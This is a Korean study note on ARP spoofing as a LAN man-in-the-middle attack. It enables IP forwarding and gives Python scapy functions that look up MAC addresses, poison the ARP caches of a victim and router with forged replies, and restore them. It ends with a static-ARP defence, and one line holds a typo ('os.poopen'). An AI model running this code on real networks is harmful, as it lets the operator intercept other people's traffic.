Search
Duplicate

ARP 스푸핑 공격

생성일
2022/06/13 13:16
태그
네트워크
보안
python

ARP 스푸핑 공격

→ 동일한 LAN 영역에서 라우터 MAC 주소 등을 조작하는 기법
→ 각종 스니핑 공격을 위한 전제로 수행하는 대표적인 중간자 개입 공격(MITM)
→ 공격 대상자의 패킷을 공격자가 받아서 라우터로 중계해주는 기법
→ 인터넷으로 향하는 공격 대상자의 패킷은
자신의 ARP 캐시 테이블에 올라온 맥 주소를 보고
해당 패킷을 라우터가 아닌, 공격자에게 보낸다
공격자는 이러한 패킷을 받으면 이것을 라우터에게 중계해준다
→ 물론 공격자의 ARP 캐시 테이블은 공격 대상자와 달리 정상적인 대응 관계이기 때문에
→ 이러한 중계 기능이 가능하다
~/socket# echo 1 > /proc/sys/net/ipv4/ip_forward # -> 공격자의 중계 기능을 사용하기 위해 입력 필요
Shell
복사
→ 공격자가 공격 대상자의 패킷을 수신 받아 그대로 라우터에게 전달해 주겠다는 의미
→ ARP 스푸핑 공격은 공격자와 공격 대상자가 동일한 게이트웨이를 사용하는 경우 (동일한 LAN 환경에 속할 경우) 수행 가능한 공격
→ LAN 영역에서 상당히 위협적인 공격

하위 계층 기반의 원시 소켓 생성 방식 → ARP 스푸핑 도구 구현

→ scapy 모듈
⇒ ARP 스푸핑의 동작 자체가
→ IP 주소 이면의 실제 MAC 주소를 교묘하게 조작하는 것에 목적
→ 가장 먼저 요구되는 기능 → IP주소와 이에 대응되는 MAC 주소를 찾아내는 일
→ 그런만큼 IP 주소를 이용해 MAC을 찾아내는 기능을 반복적으로 사용하기 떄문에
→ 파이썬의 함수기능으로 구현해두면 필요할 때마다 호출해 사용
getMACaddr() 함수
# 주어진 IP 주소에서 그에 대응하는 MAC 주소를 얻는다 def getMACaddr(ip): os.poopen("ping -c 1 %s" % ip) fields = os.popen('grep "%s " /proc/net/arp' % ip).read().split() if len(fields) == 6 and fields[3] != "00:00:00:00:00:00": return fields[3] else: print("no response from " + ip)
Python
복사
grep → 현재 검색하기 희망하는 특정 IP에 대한 정보만을 추출하는 작업

poison() 함수

→ 실제 스푸핑 공격을 수행
def poison(routerIP, victimIP, routerMAC, victimMAC): send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC)) send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
Python
복사
op = 1
ARP 요청 메시지로서 지금 송신자(psrc)가 특정 IP 주소(pdst)의 정보를 질의하는 것
op = 2
ARP 응답 메시지로서 특정 MAC 주소(hwsrc)와 대응되는 IP 주소(psrc)를 응답해 주는 것

restore() 함수

→ 후속 처리가 깔끔한 도구를 완성하기 위해서는 공격을 중단하고 원래 상태로 되돌려준다
# "ff:ff:ff:ff:ff:ff"를 목적지로 설정한 뒤 브로드캐스트 메시지를 보내면, 라우터가 응답해 # 올바르게 재설정해준다 def restore(routerIP, victimIP, routerMAC, victimMAC): send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3) send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
Python
복사
→ ARP 스푸핑은 내부망 환경에서 상당히 치명적이다
→ 스푸핑으로부터 보호받기 위해서, 라우터의 IP 주소와 MAC 주소 간의 대응 관계를 정적(static)으로 설정하는 arp -s 옵션을 수행하는 것이 좋다
arp -s 192.168.0.1 00:08:9f:49:5d:45
Shell
복사
→ 그러면 스푸핑 공격이 시도되더라도, 값이 함부로 변경되지 않으므로 비교적 안전
→ 시스템이 재부팅될 때마다 프로파일에 의해 자동으로 실행되도록 설정 권장